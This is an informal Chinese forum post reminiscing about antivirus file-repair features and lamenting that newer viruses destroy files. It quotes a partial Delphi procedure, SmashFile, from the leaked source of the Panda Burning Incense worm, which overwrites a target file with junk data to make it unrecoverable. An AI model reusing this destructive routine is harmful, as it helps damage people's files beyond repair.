瑞星我记得貌似我用零七版时
那时有文件修复技术的,杀毒时尽量不删除文件,杀毒后尽可能修复文件,但可能因为什么原因,一直没有多大改善,而且那时病毒没那么狂,现在病毒一上来直接就是摧毁文件,
像网上流传的熊猫烧香delphi源码就有一段就是专门用垃圾码写入文件而摧毁文件用的
像这种基本无修复可能,所以现在修复方面技术难度也越来越大!!!
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
像我原来计算机中过一种病毒,我没提到那病毒样本,遗憾,
那病毒把我电脑所有RAR文件,exe文件通通破坏掉了,打开后都是该文件已经损坏,晕,那还是07年啊!!!!!!晕死,而且病毒破坏exe文件了,还不够,里面又加入病毒源码,打开又感染,晕死,那是我见过最恐怖的病毒,那时!!!!!!!!!!!
